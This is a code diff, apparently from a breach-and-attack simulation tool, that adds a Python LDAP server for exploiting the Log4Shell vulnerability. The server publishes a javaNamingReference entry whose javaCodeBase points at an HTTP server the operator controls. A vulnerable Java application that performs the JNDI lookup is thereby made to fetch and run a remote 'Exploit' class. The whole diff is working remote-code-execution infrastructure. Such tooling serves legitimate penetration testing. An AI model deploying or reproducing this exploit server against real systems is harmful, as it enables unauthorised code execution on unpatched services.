diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index b978afa59..5ffe79e49 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -1 +1,2 @@ from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError +from .ldap_server import LDAPExploitServer diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py new file mode 100644 index 000000000..f575f20cc --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -0,0 +1,90 @@ +import tempfile +from pathlib import Path + +from ldaptor.interfaces import IConnectedLDAPEntry +from ldaptor.ldiftree import LDIFTreeEntry +from ldaptor.protocols.ldap.ldapserver import LDAPServer +from twisted.application import service +from twisted.internet import reactor +from twisted.internet.protocol import ServerFactory +from twisted.python import log +from twisted.python.components import registerAdapter + +EXPLOIT_RDN = "dn=Exploit" + + +class Tree: + """ + An LDAP directory information tree (DIT) used to exploit log4shell + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path): + self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir) + self.db = LDIFTreeEntry(self.path) + + self._init_db(http_server_ip, http_server_port) + + def _init_db(self, http_server_ip: str, http_server_port: int): + attributes = { + "javaFactory": ["Exploit"], + "objectClass": ["javaNamingReference"], + "javaCodeBase": [f"http://{http_server_ip}:{http_server_port}/"], + "javaClassName": ["Exploit"], + } + + self.db.addChild(EXPLOIT_RDN, attributes) + + +class LDAPServerFactory(ServerFactory): + """ + Our Factory is meant to persistently store the ldap tree + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + protocol = LDAPServer + + def __init__(self, root): + self.root = root + + def buildProtocol(self, addr): + proto = self.protocol() + proto.debug = self.debug + proto.factory = self + return proto + + +class LDAPExploitServer: + """ + This class wraps the creation of an Ldaptor LDAP server that is used to exploit log4shell. + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + def __init__( + self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path + ): + LDAPExploitServer.output_twisted_logs_to_python_logger() + + registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) + + tree = Tree(http_server_ip, http_server_port, storage_dir) + factory = LDAPServerFactory(tree.db) + factory.debug = True + + application = service.Application("ldaptor-server") + service.IServiceCollection(application) + reactor.listenTCP(ldap_server_port, factory) + + @staticmethod + def output_twisted_logs_to_python_logger(): + # Configures Twisted to output its logs using the standard python logging module instead of + # the Twisted logging module. + # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html + log_observer = log.PythonLoggingObserver() + log_observer.start() + + def run(self): + reactor.run() + + def stop(self): + reactor.stop()